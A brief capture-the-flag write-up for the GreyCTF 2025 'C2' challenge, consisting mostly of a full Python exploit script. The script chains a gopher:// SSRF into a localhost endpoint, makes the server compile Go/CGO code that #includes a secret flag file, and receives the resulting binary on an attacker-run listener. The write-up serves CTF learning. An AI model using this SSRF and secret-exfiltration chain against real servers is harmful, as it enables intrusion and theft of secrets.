setup

C2 - A GreyCTF challenge from Singapore

Published at 6/3/2025, 1:15:00 PM

desc

Minimal writeup due to lack of time, but the solution is worth remembering. This challenge was solved after the competition thanks to @Jro's writeup, the author of this challenge.

c2C.py:

#!/usr/bin/env python3
"""
GreyCTF 2025 – C2
Exfiltrates the flag using the “CGO #define + #include” trick.

Idea recap
----------
* We can make the C2 server (running as the *admin* on 127.0.0.1)
  compile **our** Go source via the SSRF in POST /agent/{id}/execute.
* In CGO, a `/* … */  import "C"` block is treated as C code.
* With a few `#define`s we can turn  /app/secrets/flag.go  itself
  into valid C code, then print the `Flag` symbol.

Result: the compiled binary already contains the flag string, so we
just run it locally after the server uploads it to  PUT /exec.
"""

import argparse, http.server, os, subprocess, threading, time, urllib.parse, requests

##############################################################################
# HTTP listener – saves binary delivered by the challenge (PUT /exec)
##############################################################################
class BinReceiver(http.server.BaseHTTPRequestHandler):
    done = threading.Event()

    def do_PUT(self):
        ln = int(self.headers.get("Content-Length", 0))
        with open("exec", "wb") as f:
            f.write(self.rfile.read(ln))
        os.chmod("exec", 0o755)
        print("[+] PUT /exec received – binary saved ✔")
        self.send_response(204); self.end_headers()
        BinReceiver.done.set()

    def log_message(self, *_): pass

def start_listener(port: int):
    httpd = http.server.HTTPServer(("0.0.0.0", port), BinReceiver)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    print(f"[+] Listener up on 0.0.0.0:{port}")
    return httpd

##############################################################################
def register(c2: str, payload: dict) -> str:
    """POST /register  – returns agent UUID (or raises)."""
    r = requests.post(f"{c2.rstrip('/')}/register", json=payload, timeout=15)
    r.raise_for_status()
    return r.text.strip()

##############################################################################
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--c2",        required=True, help="challenge base URL")
    ap.add_argument("--attacker",  required=True, help="public host (no scheme)")
    ap.add_argument("--port", type=int, default=80)
    args = ap.parse_args()

    public_host = args.attacker.lstrip("http://").lstrip("https://")
    start_listener(args.port)

    # 1. register a dummy agent – obtain UUID
    uuid = register(args.c2, {"agentUrl": f"http://{public_host}:{args.port}",
                              "computerName": "star-lord"})
    print(f"[+] Agent UUID: {uuid}")

    # 2. craft Go + CGO payload that prints the flag
    go_src = r'''package main
/*
#define package
#define secrets
#define var char*
#include "/app/secrets/flag.go"
#include <stdio.h>
void printflag(){ puts(Flag); }
*/
import "C"
func main(){ C.printflag() }
'''

    body = go_src.encode()

    # raw HTTP request that the gopher:// URL will replay to 127.0.0.1:8080
    raw = (f"POST /agent/{uuid}/execute HTTP/1.1\r\n"
           f"Host: 127.0.0.1:8080\r\n"
           f"Content-Type: text/plain\r\n"
           f"Content-Length: {len(body)}\r\n\r\n").encode() + body

    gopher = "gopher://localhost:8080/_" + urllib.parse.quote_from_bytes(raw, safe="")
    print("[*] SSRF payload crafted (gopher length:", len(gopher), ")")

    # 3. trigger SSRF – 400 Bad Request is OK (curl exits non-zero)
    try:
        register(args.c2, {"agentUrl": gopher, "computerName": "star-lord"})
    except requests.exceptions.HTTPError:
        print("[*] SSRF sent (curl on server expected to fail)")

    # 4. wait up to 60 s for the binary
    if not BinReceiver.done.wait(60):
        print("[!] Gave up – server never uploaded binary")
        return

    # 5. run the binary locally → prints the flag!
    print("[*] Scanning ./exec for flag …")
    with open("exec", "rb") as f:
        blob = f.read()

    import re
    m = re.search(rb"grey\{[^}]+\}", blob)
    if not m:
        print("[!] Flag pattern not found")
        return

    flag = m.group().decode()
    print("\n:tada:  FLAG:", flag, "\n")

if __name__ == "__main__":
    main()

I used ngrok in order to act as a c2 middle man: setup

starlord-profile

Star-Lord - Developer of online businesses


Synthweb.ch - Website creation in Switzerland, LinkedIn, Instagram